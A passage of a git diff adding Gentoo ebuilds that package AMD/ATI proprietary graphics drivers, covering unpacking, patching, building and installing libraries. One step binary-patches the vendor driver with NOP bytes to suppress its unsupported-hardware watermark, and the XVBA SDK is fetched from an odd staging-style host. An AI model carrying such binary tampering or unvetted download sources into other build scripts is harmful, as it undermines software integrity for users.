+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	unpack ${A}
+	RUN="${S}/"*.run
+	sh ${RUN} --extract "${S}" # 2>&1 > /dev/null || die
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+
+	# Get rid of watermark. Oldest known reference:
+	# http://phoronix.com/forums/showthread.php?19875-Unsupported-Hardware-watermark
+	ebegin "Disabling watermark"
+	driver="${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	for x in $(objdump -d ${driver}|awk '/call/&&/EnableLogo/{print "\\x"$2"\\x"$3"\\x"$4"\\x"$5"\\x"$6}'); do
+		sed -i "s/${x}/\x90\x90\x90\x90\x90/g" ${driver} || break 1
+	done
+	eend $? || die "Disabling watermark failed"
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile && use multilib; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+
+	# Required by upstream AMD
+	touch "${D}/etc/ati/atiapfuser.blb" || die
+	insinto /etc/ati
+	doins "${FOLDER_PREFIX}etc/ati/atiapfxx.blb"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+	#remove static libs if not wanted
+	use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-13.1.ebuild b/x11-drivers/ati-userspace/ati-userspace-13.1.ebuild
new file mode 100644
index 00000000..ee860be4
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-13.1.ebuild
@@ -0,0 +1,481 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="Ati precompiled drivers for Radeon Evergreen (HD5000 Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+#RUN="${WORKDIR}/amd-driver-installer-9.00-x86.x86_64.run"
+DRIVERS_URI="http://www2.ati.com/drivers/linux/amd-driver-installer-catalyst-${PV}-linux-x86.x86_64.zip"
+XVBA_SDK_URI="http://developer.amd.com.php53-23.ord1-1.websitetestlink.com/wordpress/media/2012/10/xvba-sdk-0.74-404001.tar.gz"
+SRC_URI="${DRIVERS_URI} ${XVBA_SDK_URI}"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib static-libs disable-watermark"
+
+LICENSE="AMD GPL-2 QPL-1.0"
+KEYWORDS="-* ~amd64 ~x86"
+SLOT="1"
+RESTRICT="bindist"
+
+RDEPEND="<=x11-base/xorg-server-1.13.49[-minimal]
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	sys-power/acpid
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	x-multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst
+	sys-apps/findutils
+	app-misc/pax-utils
+	app-arch/unzip
+"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "Evergreen chipset and newer."
+	elog "This represent the AMD Radeon HD 5400+ series at this moment."
+	elog
+	elog "If your card is older then use ${CATEGORY}/xf86-video-ati"
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	local DRIVERS_DISTFILE XVBA_SDK_DISTFILE
+	DRIVERS_DISTFILE=${DRIVERS_URI/*\//}
+	XVBA_SDK_DISTFILE=${XVBA_SDK_URI/*\//}
+
+	if [[ ${DRIVERS_DISTFILE} =~ .*\.tar\.gz ]]; then
+		unpack ${DRIVERS_DISTFILE}
+	else
+		#please note, RUN may be insanely assigned at top near SRC_URI
+		if [[ ${DRIVERS_DISTFILE} =~ .*\.zip ]]; then
+			unpack ${DRIVERS_DISTFILE}
+			[[ -z "$RUN" ]] && RUN="${S}/${DRIVERS_DISTFILE/%.zip/.run}"
+		else
+			RUN="${DISTDIR}/${DRIVERS_DISTFILE}"
+		fi
+		sh ${RUN} --extract "${S}" 2>&1 > /dev/null || die
+	fi
+
+	mkdir xvba_sdk
+	cd xvba_sdk
+	unpack ${XVBA_SDK_DISTFILE}
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-3.patch
+
+	# see http://ati.cchtml.com/show_bug.cgi?id=495
+	#epatch "${FILESDIR}"/ati-drivers-old_rsp.patch
+	# first hunk applied upstream second (x32 related) was not
+	epatch "${FILESDIR}"/ati-drivers-x32_something_something.patch
+
+	# compile fix for linux-3.7
+	# https://bugs.gentoo.org/show_bug.cgi?id=438516
+	epatch "${FILESDIR}/ati-drivers-vm-reserverd.patch"
+
+	# compile fix for AGP-less kernel, bug #435322
+	epatch "${FILESDIR}"/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
+
+	# Use ACPI_DEVICE_HANDLE wrapper to make driver build on linux-3.8
+	# see https://bugs.gentoo.org/show_bug.cgi?id=448216
+	epatch "${FILESDIR}/ati-drivers-kernel-3.8-acpihandle.patch"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+
+	if use disable-watermark; then
+		ebegin "Disabling watermark"
+		driver="${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+		for x in $(objdump -d ${driver}|awk '/call/&&/EnableLogo/{print "\\x"$2"\\x"$3"\\x"$4"\\x"$5"\\x"$6}'); do
+		sed -i "s/${x/x5b/\x5b}/\x90\x90\x90\x90\x90/g" ${driver} || break 1
+		done
+		eend $? || die "Disabling watermark failed"
+	fi
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_test() { :; } # no tests present
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile && use multilib; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# other libs
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed some row above
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
